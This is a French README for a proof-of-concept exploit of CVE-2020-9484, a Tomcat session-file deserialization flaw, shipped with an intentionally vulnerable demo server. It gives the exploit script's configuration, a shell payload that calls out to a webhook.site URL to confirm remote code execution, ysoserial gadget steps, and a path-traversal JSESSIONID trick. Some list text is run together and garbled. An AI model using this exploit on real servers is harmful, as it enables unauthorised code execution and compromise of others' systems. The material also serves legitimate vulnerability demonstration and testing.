
Exploit PoC pour CVE-2020-9484, et une application web vulnérable pour sa démonstration
Ce dépôt contient un exploit de preuve de concept pour CVE-2020-9484, ainsi qu'un serveur web d'exemple qui est vulnérable à cet exploit.
Les versions de Tomcat affectées sont :
PersistentManager est activé et il utilise un FileStore..session), et connaît l'emplacement où il est téléversé.clojure ou commons-collections) qui peuvent être utilisés pour une attaque de désérialisation Java.Le service d'exemple est un serveur web avec deux pages, /index.jsp (ou simplement /) et /list.jsp. Il permet à l'utilisateur de téléverser et télécharger des fichiers (spécifiques à la session en cours), agissant ainsi comme un stockage de fichiers.
/upload pour le téléversement de fichiers, et permet à l'utilisateur de choisir le nom du fichier. Cela permet de téléverser des fichiers avec l'extension .session. On sait également que le serveur stocke les fichiers dans le répertoire /var/tmp/uploads.PersistentManager activé en utilisant un FileStore. (voir context.xml)clojure:1.8.0 dans le classpath facilitant ainsi une attaque de désérialisation. (voir pom.xml)Pour configurer le service vulnérable d'exemple :
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
Le service devrait maintenant être opérationnel à l'adresse http://localhost:8085/POC_CVE-2020-9484/.
Maintenant, ajustez les variables de configuration au début de exploit.py. La PAYLOAD, ici un script shell, peut être n'importe quel fichier qui peut être exécuté par le serveur.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
Exécutez maintenant exploit.py. Il effectue les actions suivantes :
.session), qui finiront par être désérialisés sur le serveur :
PAYLOAD téléversé sur le serveur.PAYLOAD sur le serveur.PAYLOAD sur le serveur..session générés ci-dessus sur le serveur.JSESSIONID étant le chemin des fichiers .sesssion précédemment téléversés par rapport au stockage de session du serveur, déclenchant ainsi leur désérialisation sur le serveur et l'exécution subséquente de la charge utile./path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. Dans un tel cas, utiliser un JSESSIONID de la forme ../../../../tmp (au lieu d'une valeur arbitraire comme "1337"*8 utilisé dans exploit.py ci-dessus) avec la requête POST de téléversement de fichier peut potentiellement aider à déterminer où le fichier téléversé est stocké sur le serveur.